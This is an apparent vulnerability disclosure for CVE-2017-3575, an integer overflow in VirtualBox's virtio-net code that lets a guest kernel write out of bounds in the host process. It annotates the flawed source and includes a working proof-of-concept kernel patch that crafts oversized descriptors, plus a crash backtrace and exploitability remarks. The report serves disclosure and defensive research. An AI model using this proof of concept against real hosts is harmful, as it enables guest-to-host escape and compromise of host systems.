VirtualBox: guest-to-host out-of-bounds write via virtio-net CVE-2017-3575 This is a vulnerability that affects VirtualBox VMs that use a virtio network adapter (which is a non-standard configuration). It permits the guest kernel to write up to 4GB of controlled data out of bounds in the trusted userland host process. The bug is in the following code in src/VBox/Devices/Network/DevVirtioNet.cpp (comments starting with `//###` are by me): while (vqueuePeek(&pThis->VPCI, pQueue, &elem)) { unsigned int uOffset = 0; if (elem.nOut < 2 || elem.aSegsOut[0].cb != uHdrLen) { [...] } else { unsigned int uSize = 0; [...] /* Compute total frame size. */ //### .cb members are attacker-controlled uint32_t. //### addition is performed without overflow check. for (unsigned int i = 1; i < elem.nOut; i++) uSize += elem.aSegsOut[i].cb; [...] //### Assert() has no effect in release builds. Assert(uSize <= VNET_MAX_FRAME_SIZE); if (pThis->pDrv) { [...] PPDMSCATTERGATHER pSgBuf; //### undersized buffer is allocated here. int rc = pThis->pDrv->pfnAllocBuf(pThis->pDrv, uSize, pGso, &pSgBuf); if (RT_SUCCESS(rc)) { Assert(pSgBuf->cSegs == 1); /* Assemble a complete frame. */ for (unsigned int i = 1; i < elem.nOut; i++) { //### memory corruption happens here. PDMDevHlpPhysRead(pThis->VPCI.CTX_SUFF(pDevIns), elem.aSegsOut[i].addr, ((uint8_t*)pSgBuf->aSegs[0].pvSeg) + uOffset, elem.aSegsOut[i].cb); uOffset += elem.aSegsOut[i].cb; } [...] } else { [...] } [...] } } [...] } This code basically takes an IO vector (`elem.aSegsOut`) from the guest, allocates a buffer (`pSgBuf`) that is large enough to hold the concatenation of all elements of the IO vector, then copies data from the IO vector into the newly allocated buffer. The issue here is that the lengths from the IO vector are summed up without overflow checking. If the total length of the IO vector is over 4GB, `uSize` wraps around, causing the allocated buffer to be up to 4GB smaller than the data that is copied into it. The reason why the amount of data that is written out of bounds can be less than 4GB is that uOffset is also only 32 bits wide, causing the start offsets of the IO vector elements to wrap. A VM does not need to have 4GB of memory to be able to trigger the bug. To reproduce, create a VM with 2GB of RAM, configure the VM to use virtio, then run a Linux system with the following kernel patch applied inside the VM: # git show --format=oneline HEAD <a href="https://crrev.com/0722f57bfae9abbc673b9dbe495c7da2f64676ea" title="" class="" rel="nofollow">0722f57bfae9abbc673b9dbe495c7da2f64676ea</a> Merge tag 'drm-fixes-for-v4.10-final' of git://people.freedesktop.org/~airlied/linux # git diff diff --git a/drivers/virtio/virtio_ring.c b/drivers/virtio/virtio_ring.c index 409aeaa..7eca030 100644 --- a/drivers/virtio/virtio_ring.c +++ b/drivers/virtio/virtio_ring.c @@ -271,6 +271,7 @@ static inline int virtqueue_add(struct virtqueue *_vq, unsigned int i, n, avail, descs_used, uninitialized_var(prev), err_idx; int head; bool indirect; + int attack_i; START_USE(vq); @@ -301,7 +302,7 @@ static inline int virtqueue_add(struct virtqueue *_vq, /* If the host supports indirect descriptor tables, and we have multiple * buffers, then go indirect. FIXME: tune this threshold */ - if (vq->indirect && total_sg > 1 && vq->vq.num_free) + if (false) desc = alloc_indirect(_vq, total_sg, gfp); else desc = NULL; @@ -316,7 +317,7 @@ static inline int virtqueue_add(struct virtqueue *_vq, indirect = false; desc = vq->vring.desc; i = head; - descs_used = total_sg; + descs_used = total_sg + 4; } if (vq->vq.num_free < descs_used) { @@ -346,6 +347,13 @@ static inline int virtqueue_add(struct virtqueue *_vq, i = virtio16_to_cpu(_vq->vdev, desc[i].next); } } + for (attack_i = 0; attack_i < 4; attack_i++) { + desc[i].flags = cpu_to_virtio16(_vq->vdev, VRING_DESC_F_NEXT); + desc[i].addr = cpu_to_virtio64(_vq->vdev, 0x100000); + desc[i].len = cpu_to_virtio32(_vq->vdev, 0x40000000); + prev = i; + i = virtio16_to_cpu(_vq->vdev, desc[i].next); + } for (; n < (out_sgs + in_sgs); n++) { for (sg = sgs[n]; sg; sg = sg_next(sg)) { dma_addr_t addr = vring_map_one_sg(vq, sg, DMA_FROM_DEVICE); As soon as the VM tries to talk to the network, the VM will crash. In a test with VirtualBox 5.1.14 <a href="https://crrev.com/112924" title="" class="" rel="nofollow">r112924</a>, a segfault occured with the following backtrace: (gdb) bt #0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:37 #1 0x00007f6896620cbe in PGMPhysRead () from /usr/lib/virtualbox/components/VBoxVMM.so #2 0x00007f685416cb9d in ?? () from /usr/lib/virtualbox/VBoxDD.so #3 0x00007f685416cfea in ?? () from /usr/lib/virtualbox/VBoxDD.so #4 0x00007f689657434e in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so #5 0x00007f6896576fc0 in TMR3TimerQueuesDo () from /usr/lib/virtualbox/components/VBoxVMM.so #6 0x00007f689657fa99 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so #7 0x00007f6896580a63 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so #8 0x00007f689650cd09 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so #9 0x00007f6896580cd4 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so #10 0x00007f68a5a6981c in ?? () from /usr/lib/virtualbox/VBoxRT.so #11 0x00007f68a5aedc7c in ?? () from /usr/lib/virtualbox/VBoxRT.so #12 0x00007f68a6397184 in start_thread (arg=0x7f6875af6700) at pthread_create.c:312 #13 0x00007f68a5ec037d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 Regarding exploitability: I have not investigated exploitability in detail; however, I believe that this issue is probably exploitable. For example, if the network interface is a NAT interface, drvNATNetworkUp_AllocBuf() is used to allocate the buffer, which in the pGso!=NULL case will allocate an arbitrarily-sized buffer with RTMemAlloc(), which should allow arbitrarily-sized allocations, permitting an out-of-bounds write behind a big heap allocation with fully controlled length and data. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: jannh